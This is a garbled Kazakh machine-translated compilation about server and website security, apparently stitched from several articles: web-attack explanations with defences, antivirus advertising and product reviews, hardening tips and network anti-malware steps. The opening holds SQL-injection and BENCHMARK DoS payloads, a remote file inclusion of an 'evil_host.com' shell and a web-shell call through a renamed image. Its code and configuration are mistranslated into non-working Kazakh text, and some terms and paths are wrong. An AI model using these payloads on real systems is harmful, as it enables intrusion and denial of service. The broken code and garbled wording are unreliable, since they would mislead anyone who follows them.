Тақырыпты, мәтінді, күндік жаңалықтарды, авторды ТАҢДАУ FROM `news` WHERE `id`="-1 одақты таңдаңыз null/*"

Яғни, хакер кәсіподақ директивасын пайдалана отырып, сіздің сұрауыңызбен біріктірілген оның сұрауының орындалуын қалайды. Содан кейін хакер басқа сұрауларды жасауға тырысады және SQL тілінің күшін ескере отырып, бұл әкімші үшін жақсы нәтиже бермейді. Дефекациядан (deface - сайттың бастапқы бетін ауыстыру) серверде түбірлік құқықтарды алуға дейін. Хакер сонымен қатар SQL инъекциясының арқасында DoS шабуылын жасай алады: site.com/getnews.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(ағымдағы_дата))) осындай бірнеше сұраулар және сервер 100% CPU деңгейінде. ұзақ уақыт бойы жүктеңіз.

SQL инъекциядан қорғау:
- Көріністер мен сақталған процедуралар сияқты SQL Server мүмкіндіктерін кеңінен пайдаланыңыз. Бұл дерекқорға рұқсатсыз кіруді шектейді.
- Параметрді сұрауға бермес бұрын оның түрін тексеру керек (PHP үшін - is_bool(), is_float(), is_int(), is_string(), is_object(), is_array() және is_integer()) және, кем дегенде , PHP үшін addslashes типті құрылымды пайдаланып цитаталанады.
- Барлық сценарийлер кейбір дерекқор тіркелгісіндегі дерекқормен жұмыс істейді, осы тіркелгіден жұмысқа қажет емес барлық артықшылықтарды алып тастаңыз. Көбінесе хакерлер MySQL пәрменін пайдаланады (MySQL мысал ретінде алынған, бұл кез келген SQL серверіне қатысты) «ЖҮКТЕП ДЕРЕКТЕР INFILE» серверден және MySQL жұмыс істеп тұрған оқылатын тіркелгіден қажетті файлдарды оқу үшін. Бұдан шығатын қорытынды, ДЕРЕКТЕР INFILE ЖҮКТЕЛУ пәрменін пайдалану үшін қажет FILE сияқты сценарийлеріңіз үшін қажет емес артықшылықтарды өшіріңіз. «Негізгі минимум» принципін негізге алу керек.
- SQL сервері жұмыс істейтін жүйелік тіркелгінің торап беттеріне және сервердің жүйелік файлдарына қатынасы болмауы керек.
Файлдарды қосу. Файлды қосу. Site.com/getnews.php?file=190607 беті бар делік, бірақ сценарий авторы include функциясын пайдаланып, бетті тексерусіз қосады.
$файл = $_REQUEST["файл"];
қосу($файл.".html");
Хакер 190607 орнына evil_host.com/shell.php дегенді ауыстырады, содан кейін хакер браузерінің бүкіл мекенжай жолағы осы site.com/postnews.php?file=evil_host.com/shell.php сияқты болады және хакерде болады. Apache иелігіндегі құқықтары бар сайтыңыздағы өзінің веб-қабығы.

Файл қосылымын қорғау:
- Пайдаланушы енгізетін және мекенжай жолағы арқылы сценарийге жіберілетін барлық параметрлерді сценарийлеріңізде тексеріп, сүзіңіз. Бағдарламалау тілі үшін қауіпсіз кодтауды үйрететін материалды табыңыз.
- Сайттағы бағдарламалау тілі жүйелік пәрмендерді орындауға мүмкіндік бергенде хакерлерге қатты ұнайды. Сондықтан, мұндай функцияларды бағдарламалау тілінде шақыруға тыйым салу керек, егер бұл, әрине, мүмкін болса. Мысалы, PHP параметрлерінде php.ini ішіндегі disable_functions көмегімен «тыйым салынған» функциялар тізімін көрсетуге болады.
Трояндық сурет
Сайттағы серверге файлдарды жүктеп салу мүмкіндігіңіз болса, мысалы, аватар суреттерін жүктеп салуға дайын болыңыз. JPEG пішіміндегі суретте метадеректер түсінігі бар (кадрды түсіру кезінде камера ақпаратты қайда жазатынын есте сақтаңыз) және бұл метадеректер жазылады.

Кескін көптеген кеңейтім тексерулерін айналып өту үшін avatara.jpg.php деп өзгертіледі және site.com/upload_images/avatara.jpg.php?cmd=server_commands пайдаланылады.

Трояндық қорғаныс:
- Файл кеңейтімін дұрыс тексеріңіз. Рұқсат етілген файлдарды дұрыс өңдеген болсаңыз да, сіздің сайтыңыздағы басқа осалдықты пайдаланып jpg-ден php-ге дейінгі кескіннің атауын өзгертуге дайын болыңыз. PHP ішіндегі exif_read_data() сияқты функциялары бар кескіндегі метадеректерді тексеріңіз.
- Веб-серверіңіз арқылы кескін каталогтарында бағдарламалау тілдерінің орындалуын болдырмаңыз. Мұны істеу үшін бағдарламалау тілдерін файл кеңейтімдерімен байланыстыратын және кескіндері бар каталогтарда орындалуына тыйым салатын «AddType application/x-httpd-» сияқты Apache конфигурациялау жолдарын қараңыз. Apache үшін PHP тілінің файлдарын орындауға тыйым салу құрылым болады
  
  Тапсырыс беруден бас тарту, рұқсат ету
  Барлығынан бас тарту
- Бағдарламалау тілі үшін кескіндерді өңдеу және оларды серверге дұрыс жүктеп салу кезінде қауіпсіз кодтауды үйрететін материалды табыңыз.

Жеке алғыс:

досы Александр Пупышев ака сілеусін сын мен кеңес үшін
antichat.ru/ сайты
www.xakep.ru/
Майкл Эбен, Брайан Тайманның кітабы. FreeBSD әкімшілігі: теңгерімдеу өнері
Джоэл Скамбрей, Стюарт МакКлюр, Джордж Курцтың кітабы. Хакерлердің құпиялары: Желінің қауіпсіздігі – дайын шешімдер. Екінші басылым

Басқа қорғау ақпарат көздері:

FreeBSD адам қауіпсіздік қызметкері бетінде жалпы қауіпсіздік мәселелері мен жақсы басқару тәжірибелерінің сипаттамасы бар.
freebsd-security @ freebsd.org тарату тізімдеріне жазылыңыз. Ол үшін majordomo @ freebsd.org электрондық поштасына хабарламаның негізгі бөлігінде freebsd-security жазылуымен хат жіберіңіз. Дәл осы тарату тізімінде ең көп талқыланған өзекті мәселелерқорғау.
FreeBSD қауіпсіздік туралы ақпарат беті freebsd.org/security/
FreeBSD қауіпсіздік құжаты
CERT.org веб-сайтында ақпарат бар осалдықтар ah барлық операциялық жүйелерді қорғауда.
Брандмауэр және Интернет қауіпсіздігі Уильям Р. Чесвик және Стивен М. Беллоуин
Интернет брандмауэрін құру, Брент Чапман мен Элизабет Цвикидің 2-ші басылымы

Нәтиже:
Мақала сізге барлық мәселелерді бірге көруге көмектесті деп үміттенемін, енді әкімші компьютер қауіпсіздігі, дерекқорлар, веб-серверлер, қосымша көздерден бағдарламалау тілдері туралы оқуы керек. Мақаланы қысқаша қорытындылай отырып, сіз қауіпсіздік мәселелерінің шығарылуы туралы жаңалықтардан хабардар болуыңыз керек, барлық енгізілген деректерді жаңартуларыңыздың дұрыстығына тексеруіңіз керек.
Күш сенімен бірге болсын!

Компанияның бағдарламалық қамтамасыз ету қызметтері ақаусыз сәтті жұмыс істеуі үшін сізге жоғары сапалы орнату, сондай-ақ антивирустық қорғауды орнату қажет. Бүгінгі таңда бірде-бір компания бухгалтерлік есеп, іскерлік хат алмасу, есеп беру үшін Интернетті пайдаланбай жұмыс істей алмайды. CRM жүйесі өте танымал, бірақ оның жұмысының сапасы жаһандық желіге қосылуға тікелей байланысты.

Вирустық бағдарламалық құралды орнатудың артықшылықтары

Вирусқа қарсы өнімдер әртүрлі қорғаныс деңгейлерін қамтамасыз етеді. Бағдарламалар келесі мәселелердің алдын алуға көмектеседі:

серверге қашықтан қол жеткізу арқылы ақпаратты ұрлау, оның ішінде құпия сипаттағы (мысалы, компания тіркелгілеріне қол жеткізуге арналған деректер);
DDoS шабуылдарын орындау үшін операциялық жүйеге әртүрлі клиенттік қосымшаларды енгізу;
әртүрлі бағдарламалардың зиянды әсерінен кәсіпорын жабдықтарының істен шығуы;
жұмыс істеуге қажетті бағдарламалар мен серверлерді блоктау, зақымдау;
құпия деректерді ұрлау, бұрмалау немесе жою.

Қорытындылай келе, бір ғана қорытынды болады - антивирустық деректер базасын енгізу компанияға үлкен қаржылық шығындарды болдырмауға көмектеседі. Сонымен қатар, бұл ықтимал серверді бұзудың алдын алуға ғана емес, сонымен қатар жабдық пен ақылы онлайн жүйелердің функционалдығын сақтауға да қатысты. Сондықтан жоғары сапалы және тиімді қорғауды орнату мәселесі барлық көлемдегі бизнес үшін әрқашан өзекті болып табылады.

Кеңседе орнатуға арналған ең танымал бағдарламалық жасақтама

Көбінесе тұтынушылар Касперский антивирусының әртүрлі нұсқаларын орнатуды қалайды. Бұл бағдарламалық өнімнің танымалдылығы келесі сипаттамаларға байланысты:

шағын, орта және ірі бизнес үшін көптеген нұсқалар, үйде пайдалануға арналған жеке желі;
Kaspersky бағдарламалық пакеттері кеңсе серверлеріне ғана емес, сонымен қатар орнатуға арналған Ұялы телефондар, ноутбуктер;
бірлескен жұмыс серверлері, пошта, әртүрлі файлдар антивирустық өніммен сенімді қорғалған;
Kaspersky Anti-Virus интернет шлюздеріндегі шабуылдарға қарсы әрекет етеді;
өнім конфигурациясы серверлік шабуылдың ішкі қаупін жояды, себебі ол пайдаланушы құқықтарын саралауды білдіреді.

Көрсетілген антивирустық жүйені орнатудың басқа артықшылықтарының қатарында деректердің сақтық көшірмесін жасау, құпия сөздерді сақтау және Интернет пішіндерін қауіпсіз режимде автоматты түрде толтыру, спам мен фишингтің серверлерге енуіне жол бермеу. Сонымен қатар, бұл өнімдермен қорғау бағасы өте қолайлы. Бағдарламалаудың қыр-сырын білмейтін пайдаланушылар үшін Kaspersky Anti-Virus әзірлеушілері ыңғайлы, қарапайым және түсінікті интерфейсті жасады.

Қауіпсіздік бағдарламалық құралын таңдағанда нені іздеу керек?

нақты бағдарламалық қамтамасыз ету қандай серверлерді қорғауға арналған: үй, шағын және орта бизнес, ірі компаниялар;
жергілікті бизнес серверлердің ұсынылатын бағдарламаларымен қамту кеңдігі;
жұмыстың үздіксіздігі, жаңарту жиілігі мен шарттары;
антивирустық жүйені орталықтандырылған басқару мүмкіндігі;
ұсынылған өнімнің орнатылған іскери бағдарламалармен және басқа бағдарламалық құралмен үйлесімділігі.

Сондай-ақ, осындай өнімдерді жүзеге асыратын компанияны таңдау маңызды сәт болып табылады. Білікті қызметкер қысқа мерзімде дұрыс жұмысты орнатады және серверлермен жұмыс істеу кезінде бағдарламалық құралдарды пайдалану туралы клиенттерге нұсқау береді. Мұндай қызметтерді көрсету құны маңызды рөл атқарады - біздің компанияда бұл әрқашан өте тиімді.

Серверді сыртқы кіруден біржола қорғау мүмкін емес, өйткені күн сайын жаңа осалдықтар ашылады және серверді бұзудың жаңа тәсілдері пайда болады. Біз осы мақалада серверлерді рұқсатсыз кіруден қорғау туралы айтатын боламыз.

Кез келген компанияның серверлері ерте ме, кеш пе, хакерлік шабуылдың немесе вирустық шабуылдың нысанасына айналуы мүмкін. Әдетте, мұндай шабуылдың нәтижесі деректердің жоғалуы, беделі немесе қаржылық зияны болып табылады, сондықтан сервер қауіпсіздігі мәселелері бірінші кезекте шешілуі керек.

Серверді бұзудан қорғау - бұл сервер жұмысын тұрақты бақылауды және қорғауды жақсарту бойынша жұмыстарды қамтитын шаралар кешені екенін түсіну керек. Серверді сыртқы кіруден біржола қорғау мүмкін емес, өйткені күн сайын жаңа осалдықтар ашылады және серверді бұзудың жаңа тәсілдері пайда болады.

Біз осы мақалада серверлерді рұқсатсыз кіруден қорғау туралы айтатын боламыз.

Серверлерді рұқсатсыз кіруден қорғау жолдары мен әдістері Серверді физикалық қорғау

Физикалық қорғаныс. Сервер қауіпсіз деректер орталығында, жабық және күзетілетін бөлмеде орналасқаны жөн, бөгде адамдардың серверге кіру мүмкіндігі болмауы керек.

SSH аутентификациясын орнатыңыз

Серверге кіруді орнату кезінде құпия сөздің орнына SSH кілтінің аутентификациясын пайдаланыңыз, өйткені мұндай кілттерді іздеу әлдеқайда қиын, ал кейде қарапайым іздеу арқылы бұзу мүмкін емес.

Егер сізге әлі де құпия сөз қажет деп ойласаңыз, оны енгізу әрекеттерінің санын шектеңіз.

Жүйеге кірген кезде келесі хабарламаны көрсеңіз, назар аударыңыз:

Соңғы сәтсіз кіру: 28 қыркүйек сейсенбі 12:42:35 MSK 2017, 52.15.194.10 бастап ssh:notty
Соңғы сәтті кіруден бері 8243 сәтсіз кіру әрекеті болды.

Бұл сіздің серверіңіз бұзылғанын көрсетуі мүмкін. Бұл жағдайда сервер қауіпсіздігін конфигурациялау үшін SSH портын өзгертіңіз, серверге кіру мүмкін болатын IP тізімдерін шектеңіз немесе шамадан тыс жиі және күдікті әрекетті автоматты түрде блоктайтын бағдарламалық құралды орнатыңыз.

Соңғы жаңартуларды жүйелі түрде орнатыңыз

Серверді қорғауды қамтамасыз ету үшін сіз пайдаланатын сервер бағдарламалық құралының соңғы патчтары мен жаңартуларын – операциялық жүйені, гипервизорды, дерекқор серверін уақытында орнатыңыз.

Нөлдік күндік осалдықтарды пайдаланатын шабуылдардың алдын алу үшін күн сайын жаңа патчтарды, жаңартуларды және хабарланған қателерді/осалдықтарды тексерген жөн. Ол үшін бағдарламалық жасақтаманы әзірлеуші компанияның жаңалықтарына жазылыңыз, оның әлеуметтік желілердегі парақшаларын қадағалаңыз.

Құпия сөздерді қорғаңыз

Серверге қол жеткізудің ең көп таралған әдістерінің бірі сервер құпия сөзін бұзу болып табылады. Сондықтан серверді қорғаусыз қалдырмау үшін белгілі, бірақ соған қарамастан тиісті ұсыныстарды орындаңыз:

компанияның атауы сияқты оңай болжауға болатын құпия сөздерді пайдаланбаңыз;
әкімші консолі үшін әдепкі құпия сөзді әлі де пайдаланып жатсаңыз, оны дереу өзгертіңіз;
әртүрлі қызметтердің құпия сөздері әртүрлі болуы керек;
құпия сөзіңізді біреумен бөлісу қажет болса, ешқашан IP мекенжайыңызды, пайдаланушы атыңызды және құпия сөзіңізді бір электрондық пошта немесе мессенджер хабарламасында жібермеңіз;
Әкімші тіркелгісіне кіру үшін екі сатылы аутентификацияны орнатуға болады.

брандмауэр

Серверде бар, конфигурацияланған және үнемі жұмыс істеп тұрғанын тексеріңіз.
Кіріс және шығыс трафикті қорғаңыз.
Қандай порттардың ашық екенін және қандай мақсатта екенін қадағалаңыз, серверді бұзу үшін ықтимал осалдықтардың санын азайту үшін қажетсіз ештеңе ашпаңыз.

Атап айтқанда, желіаралық қалқан серверді ddos шабуылдарынан қорғауда өте пайдалы, өйткені брандмауэрді бұғаттау ережелерін жылдам жасауға және шабуыл келетін IP мекенжайларын қосуға немесе белгілі бір хаттамаларды пайдаланып белгілі бір қолданбаларға кіруді блоктауға болады.

Бақылау және басып кіруді анықтау

Серверде жұмыс істейтін бағдарламалық құрал мен қызметтерді шектеңіз. Жұмыс істеп тұрған барлық нәрсені мезгіл-мезгіл тексеріп отырыңыз, егер қандай да бір бейтаныс процестер табылса, оларды дереу жойып, вирустарды тексеруді бастаңыз.
Мерзімді түрде бұрмалану белгілерін тексеріңіз. Бұзылу файлды жасамаған, жылжытпаған немесе жоймаған жаңа пайдаланушы тіркелгілері арқылы дәлелденуі мүмкін /etc/syslog.conf, жойылған файлдар /etc/shadowЖәне /etc/passwrd .
Серверіңізді бақылаңыз, оның қалыпты жылдамдығы мен өткізу қабілетін қадағалаңыз, осылайша сіз ауытқуларды байқай аласыз, мысалы, сервердегі жүктеме әдеттегіден әлдеқайда көп болған кезде.

VPN және SSL/TLS шифрлауын пайдалану

Серверге қашықтан қол жеткізу қажет болса, оған тек белгілі IP мекенжайларынан рұқсат етілуі және VPN арқылы жүзеге асырылуы керек.

Қауіпсіздікті қамтамасыз етудегі келесі қадам SSL орнату болуы мүмкін, ол деректерді шифрлап қана қоймайды, сонымен қатар желілік инфрақұрылымның басқа қатысушыларына сәйкес сертификаттар беру арқылы жеке басын тексереді.

Сервер қауіпсіздігін тексеру

Пентест әдісін пайдаланып сервердің қауіпсіздігін дербес тексеру жақсы идея болар еді, яғни. ықтимал осалдықтарды табу және оларды уақытында жою үшін шабуылды модельдеу. Бұған мамандарды тартқан жөн ақпараттық қауіпсіздік, дегенмен кейбір сынақтарды серверді бұзу бағдарламалары арқылы дербес орындауға болады.

Серверлерді бұзудан басқа не қауіп төндіреді

Сервер бұзылудан басқа бірнеше себептерге байланысты істен шығуы мүмкін. Мысалы, бұл зиянды бағдарламаның инфекциясы немесе құрамдастардың бірінің физикалық ақаулығы болуы мүмкін.

Сондықтан серверді қорғау шаралары мыналарды қамтуы керек:

Серверді қорғау үшін бағдарламаларды орнату және жаңарту - антивирустар.
Деректердің тұрақты шифрланған көшірмелері кем дегенде аптасына бір рет, өйткені статистикаға сәйкес, сервердің қатты дискілері бұзылу жиілігі бойынша бірінші орында. Сақтық көшірме физикалық қауіпсіз ортада сақталғанына көз жеткізіңіз.
Сервер бөлмесін үздіксіз электрмен жабдықтауды қамтамасыз ету.
Серверлерді уақтылы физикалық алдын алу, соның ішінде оларды шаңнан тазарту және термопаста ауыстыру.

Integrus мамандарының тәжірибесі мұндай қауіптерден ең жақсы қорғаныс серверді қорғау жүйелері саласындағы озық тәжірибелерді қолдану екенін айтады.

Тұтынушылар серверлерінің қауіпсіздігін қамтамасыз ету үшін біз құралдардың комбинациясын қолданамыз: брандмауэр, антивирустар, қауіпсіздік/оқиғаларды басқару технологиялары (SIM/SEM), шабуылды анықтау/қорғау технологиялары (IDS/IPS), желілік мінез-құлық талдауы (NBA) технологиялары , әрине тұрақты профилактикалық қызмет көрсету серверлері және қауіпсіз серверлік бөлмелерді кілт тапсыру негізінде ұйымдастыру. Бұл басқа себептерге байланысты бұзу немесе сервердің істен шығу қаупін азайтуға мүмкіндік береді.

Біз сіздің компанияңыздың серверлерінің қауіпсіздік аудитін жүргізуге, мамандардан кеңес алуға, серверлік жабдықты қорғауды орнату бойынша жұмыстардың барлық түрлерін орындауға дайынбыз.

Сервер - бұл әрекеттер пайдаланушының белсенді қатысуынсыз жүзеге асырылатын арнайы компьютер. Әдетте қызмет бар бағдарламалық қамтамасыз етубелгілі бір тапсырмаларды орындау. Мұндай компьютер арқылы мәліметтер алмасады, әрекеттер іске қосылады, математикалық есептеулер орындалады және т.б. Барлық серверлер түрлері бойынша ерекшеленеді, мысалы, ойын, веб, пошта және прокси серверлері бар. Әрбір осындай құрылғы нақты белгіленген тапсырманы орындайды. Көбінесе мұндай машинаның қауіпсіз жұмыс істеуі үшін оған антивирус орнатылады, сондықтан біз сізге бірнеше нақты шешімдерді бөліп көрсете отырып, осындай бағдарламалық жасақтама туралы көбірек айтып бергіміз келеді.

Платформа: Windows Server

Әйгілі антивирустық компания Avast қосымша пайдалы құралдарды ұсынатын серверлер үшін арнайы жинақ шығарады. Мысалы, функцияны қараңыз «Деректерді жою». Ол барлық жойылған деректерде кездейсоқ құрылған ақпаратты қайта жазатындай етіп жүзеге асырылады, бұл оны қалпына келтіру әрекеті кезінде файлдың бастапқы күйін қайта құруға мүмкіндік бермейді. Оған қоса, бар «Мінез-құлық талдауы»- күдікті әрекетке жұмыс қолданбаларын сканерлеуге жауапты құрал. Блокнот бірдей веб-камераға кіруге әрекеттенсе, мұндай сұрау дереу блокталады. Әрине, мұндай мысал қарапайым, бірақ функция жоғары деңгейде жұмыс істейді.

Avast Business Antivirus Pro бағдарламасында сонымен қатар кіріктірілген брандмауэр, смарт сканерлеу, спамнан қорғау, құпия сөзбен қорғау және тіркелгіге оңай кіру мүмкіндігі бар. Сондай-ақ, Software protecter технологиясын пайдалана отырып, ықтимал қауіптерді ағымдағы вирус дерекқорымен тұрақты салыстыру бар. Ол тек тексерілген деректермен әрекеттесуге мүмкіндік береді. Өз кезегінде, CyberCapture құралы күдікті нысандарды Threat Lab-қа жібереді.

Avira антивирус сервері

Платформа: Windows Server

Avira Antivirus Server — Windows операциялық жүйесімен жұмыс істейтін серверлерге арналған әзірлеуші компанияның арнайы шешімі. Жасаушылар максималды уәде береді тиімді жұмысжүйе ресурстарының төмен тұтынуымен, қауіпті анықтаудың жоғары жылдамдығымен және пайдаланудың қарапайымдылығымен. Жинақта кіруді қорғауға арналған құралдар қосылды, яғни ол басқа қолданбалар қол жеткізген кезде іске қосылған процестерді бақылайды. Сондай-ақ қолмен сканерлеу бар, ол кез келген уақытта көрсетілген медианы немесе бөлек каталогты талдауды бастауға мүмкіндік береді.

Әзірлеуші ДК ресурстарын аз тұтынуға және антивирусты басқарудың қарапайымдылығына ерекше көңіл бөлетінін тағы да атап өтеміз. Тұрақты тегін инновациялар мен вирустық дерекқор жаңартулары да уәде етілген. Егер сіз осы өніммен танысқыңыз келсе, ресми сайтта тиісті пішінді толтыру арқылы 30 күндік мерзімге тегін нұсқасын ала аласыз. Тестілеу кезінде барлық құралдар мен функциялар, сондай-ақ қолдау қызметімен тегін байланыс қолжетімді болады.

ESET File Security

ESET File Security бағдарламасы Windows және Linux серверлерінде жұмыс істеуге арналған және қосымша ESET Dynamic Threat Defense бұлт құмсалғышы құрамдас бөлігі арқасында көп деңгейлі қорғауды қамтамасыз етеді. Бұлтқа негізделген қорғаныс жүйесі анықтау механизмінің жаңартуын күтпей-ақ жаңа қауіптерден автоматты түрде қорғайды (көрсетілген орташа жаңарту уақыты 20 минут). Кірістірілген желілік шабуылдан қорғау желі деңгейінде белгілі осалдықтарды таниды және OneDrive пайдалану кезінде Office 365 OneDrive сақтау механизмі оны сканерлейді. Сондай-ақ ботнеттердің әсерін болдырмауға назар аудару керек. Құрал зиянды қосылымды тауып қана қоймайды, сонымен қатар қауіпті әрекетті дереу бұғаттап, пайдаланушыға бұл туралы хабарлайды.

ESET File Security бағдарламасын басқару үшін пайдаланушыға консольді Windows немесе Linux жүйесінде орнату ұсынылады және орнатуды жеңілдету үшін виртуалды импорттау құрылғысы бар. Сіз осы антивирустың барлық функционалдық мүмкіндіктерімен таныса аласыз, оның тегін нұсқасын қолданып көріңіз және әзірлеушілердің ресми сайтында толық нұсқасын сатып ала аласыз.

Касперский қауіпсіздік

Платформа: Windows Server, Linux

Серверлерге арналған Kaspersky Security жинақтарға кіреді - Total, Endpoint Security for Business, Kaspersky Security for Virtual and Cloud Environments және Kaspersky Security for Storage Systems. Осы нұсқалардың бірін сатып алу арқылы сіз серверіңіз үшін сенімді қорғаныс аласыз ең жаңа буынзиянды бағдарлама. Қарастырылып отырған бағдарламалық қамтамасыз ету жетілдірілген сервер қорғанысына ие және эксплуаттардан қорғауды, терминалдық серверлерді қорғауды қамтамасыз етеді, сыртқы трафикті, жүйенің тұтастығын бақылайды және көп деңгейлі құралдың көмегімен деректерді сақтау жүйелерін үздіксіз қорғайды. Кірістірілген әкімші құқықтарын басқару жүйелері басқарудың қарапайымдылығын, хабарландыруларды, сондай-ақ SIEM жүйелерімен және Windows брандмауэрін басқарумен интеграцияны қамтамасыз етеді.

Kaspersky Security бағдарламасының бөлек екенін атап өткім келеді жүйелік талаптарарнайы сақтау платформалары үшін, мысалы, NetApp үшін - Clustered Data ONTAP 8.x және 9.x және Data ONTAP 7.x және 8.x 7 режим режимінде және EMC Isilon үшін - IBM System Storage N сериясы. Антивирусты жүктеп алу кезінде барлық талаптар тізімімен Kaspersky веб-сайтында таныса аласыз.

McAfee VirusScan Enterprise

Платформа: Windows Server, Linux

Бұрын пайдаланушылар McAfee Endpoint Security бағдарламасын серверлеріне орнатты, бірақ әзірлеушілер бұл өнімді оның атын одан әрі өзгерту арқылы жақсартуды шешті. Енді бұл VirusScan Enterprise. Осы антивирусты бұрын пайдаланған кез келген адамға тегін көшіру ұсынылады. Ресми веб-сайтта осы мәселе бойынша барлық қажетті нұсқаулар мен сабақтар берілген. негізгі құралдар жинағына жаңа нұсқасымыналарды қамтиды: брандмауэр, қауіп байланысы үшін веб-басқару элементтері, міндетті антивирус және эксплуатацияны болдырмау опциялары.

McAfee VirusScan Enterprise пайдаланады және заманауи әдістермашиналық оқыту. Мұндай технологиялар зиянды кодты статикалық және мінез-құлық атрибуттары арқылы анықтауға мүмкіндік береді. Зиянды бағдарлама жүйеге енген бойда оның басқа процестерді жұқтыруына жол бермейді. Endpoint Detection және Tesponse технологиясы соңғы нүктені анықтауға және жауап беруге жауап береді - бұл қауіптерге бір рет басу арқылы жауап беруге мүмкіндік береді.

Linux үшін Comodo антивирусы

Платформа: Linux

Comodo Antivirus әзірлеушілері Linux ядросына негізделген операциялық жүйелер үшін жеке нұсқаны ұсынды. Бұл бағдарлама 32 биттік және 64 биттік дистрибутивтердің көпшілігінде қолдайды. Мүмкіндіктердің ішінде мен бірден танымал пошта агенттерімен үйлесімді пошта сүзгісін атап өткім келеді: Postfix, Qmail, Sendmail және Exim MTA. Өндіруші нақты уақытта сенімді қорғауға, орнатудың қарапайымдылығына және күрделі конфигурация қадамдарының жоқтығына кепілдік береді. Спамға қарсы жүйені толығымен қолмен өңдеуге болады, бірақ стандартты параметрлер қамтамасыз етеді жақсы фильтрация. Пайдаланушы файлдарды одан да көбірек басқаруды қаласа, қосу үшін функция қол жетімді «Нақты уақыттағы мінез-құлық талдауы». Барлық күдікті нысандар бұлт әрекетін талдау серверіне жіберіледі.

Comodo Antivirus бағдарламасын ыңғайлы пайдалану үшін сізге ең аз процессор жиілігі 2 ГГц және 2 ГБ бос жедел жады бар жоғары қуатты компьютер қажет. Сканерлеуді іске қосу туралы алаңдамаудың қажеті жоқ: олардың жоспарын тек бір рет конфигурациялау жеткілікті болады, ал болашақта олар автоматты түрде іске қосылады. Кез келген ыңғайлы уақытта бір түймені басу арқылы талдауды бастауға болады. Қарастырылып отырған антивирус ашық бастапқы коды болып табылады, тегін таратылады және ресми веб-сайттан жүктеледі.

Chkrootkit

Платформа: Linux

Chkrootkit (Check Rootkit) – операциялық жүйені белгілі руткиттерден қорғау үшін жүйелік әкімшілер кеңінен қолданатын бағдарлама. Руткит – деректерді жасыру, басқару және жинау функциясын орындайтын сценарийлер, орындалатын файлдар немесе конфигурация файлдары сияқты компоненттер жиынтығы. Осындай құралдардың көмегімен шабуылдаушылар ОЖ-ға еніп, барлық қажетті ақпаратты алады. Жоғарыда аталған бағдарламалық құрал компьютерді осы әрекет түрінен қорғауға арналған. Chkrootkit орнатуды қажет етпейді және оны Live ықшам дискіден іске қосуға болады. Ондағы жұмыс кез келген ыңғайлы консоль арқылы жүзеге асырылады және басқару тәжірибесіз пайдаланушыға да түсінікті.

Chkrootkit өте жылдам жұмыс істейді, жұмысын жақсы орындайды, дискіде көп орын алмайды, бірақ сонымен бірге пайдаланушының әр түріне арналған модульдердің үлкен санын қамтиды. Ресми веб-сайтта әртүрлі кеңейтімдердегі бағдарлама жинақтары бар және жүктеуді тікелей көзден немесе бірнеше айнадан алуға болады.

Сіз антивирустық шешімдермен таныстыңыз ең жақсы шешімҮшін әртүрлі түрлерісерверлер. Көріп отырғаныңыздай, әрбір бағдарламалық жасақтаманың өзіндік сипаттамалары бар, сондықтан ол белгілі бір жағдайларда ең пайдалы болады.

Компьютерлік желілерді зиянды бағдарламалардан қорғауды қалай дұрыс ұйымдастыру керек.

Мақала жаңадан бастаған жүйелік әкімшілерге арналған.

Антивирустық қорғау деп мен зиянды бағдарламалардың кез келген түрінен қорғауды айтамын: вирустар, трояндар, түбірлік жинақтар, бэкдорлар,…

1 Вирусқа қарсы қорғау қадамы – желідегі әрбір компьютерге вирусқа қарсы бағдарламалық құралды орнатып, оны кем дегенде күн сайын жаңартып отырыңыз. Дұрыс схемавирусқа қарсы дерекқорларды жаңарту: 1-2 сервер жаңартуларға барады және жаңартуларды желідегі барлық компьютерлерге таратады. Қорғауды өшіру үшін құпия сөзді орнатуды ұмытпаңыз.

Вирусқа қарсы бағдарламалық құралдың көптеген кемшіліктері бар. Негізгі кемшілігі – олар тапсырыс бойынша жазылған және көп қолданылмаған вирустарды ұстамайды. Екінші кемшілігі - олар процессорды жүктеп, компьютерлерде жадты алады, кейбіреулері көбірек (Касперский), кейбіреулері азырақ (Eset Nod32), мұны ескеру керек.

Вирусқа қарсы бағдарламалық қамтамасыз етуді орнату - вирустың шығуынан қорғаудың міндетті, бірақ жеткіліксіз әдісі, көбінесе вирусқа қарсы деректер базасында вирусқа қарсы қолтаңба оны таратқаннан кейін келесі күні пайда болады, 1 күнде вирус кез келген компьютерлік желінің жұмысын парализациялауы мүмкін.

Әдетте, жүйелік әкімшілер 1-қадамда тоқтайды, одан да жаманы, олар оны аяқтамайды немесе жаңартуларды қадағаламайды және ерте ме, кеш пе инфекция әлі де орын алады. Төменде мен антивирустық қорғанысты күшейту үшін басқа маңызды қадамдарды тізімдеймін.

2-қадам Құпия сөз саясаты. Вирустар (трояндар) стандартты тіркелгілердің құпия сөздерін болжау арқылы желідегі компьютерлерді жұқтыруы мүмкін: root, admin, Administrator, Administrator. Әрқашан күрделі құпия сөздерді пайдаланыңыз! Құпия сөздері жоқ немесе қарапайым құпия сөздері бар тіркелгілер үшін жүйелік әкімші жұмыс кітабындағы сәйкес жазбамен жұмыстан босатылуы керек. Қате құпия сөзді енгізуге 10 әрекеттен кейін, дөрекі күштен (қарапайым санау арқылы құпия сөзді табу) қорғау үшін есептік жазбаны 5 минутқа бұғаттау керек. Кірістірілген әкімші тіркелгілерінің атын өзгерту және өшіру ұсынылады. Құпия сөздерді мезгіл-мезгіл өзгерту қажет.

3-қадам Пайдаланушы құқықтарын шектеу. Вирус (троян) желіге оны іске қосқан пайдаланушының атынан таралады. Егер пайдаланушының құқықтары шектелген болса: басқа компьютерлерге кіру мүмкіндігі болмаса, оның компьютеріне әкімшілік құқықтар болмаса, онда жұмыс істеп тұрған вирустың өзі ештеңені жұқтыра алмайды. Жүйе әкімшілерінің өздері вирустың таралуына кінәлі болуы сирек емес: олар әкімші кілтін іске қосты және вирус желідегі барлық компьютерлерді жұқтырды ...

4-қадам Қауіпсіздік жаңартуларын жүйелі түрде орнату. Бұл қиын жұмыс, бірақ мұны істеу керек. Тек ОЖ-ны ғана емес, сонымен қатар барлық қолданбаларды: ДҚБЖ, пошта серверлерін жаңарту қажет.

5-қадам Вирустардың ену жолдарын шектеу. Кәсіпорынның жергілікті желісіне вирустар екі жолмен түседі: алынбалы тасымалдағыштар арқылы және басқа желілер арқылы (Интернет). USB, CD-DVD дискілеріне қол жеткізуден бас тарту арқылы сіз 1 жолды толығымен блоктайсыз. Интернетке кіруді шектеу арқылы сіз 2-ші жолды блоктайсыз. Бұл әдіс өте тиімді, бірақ оны жүзеге асыру қиын.

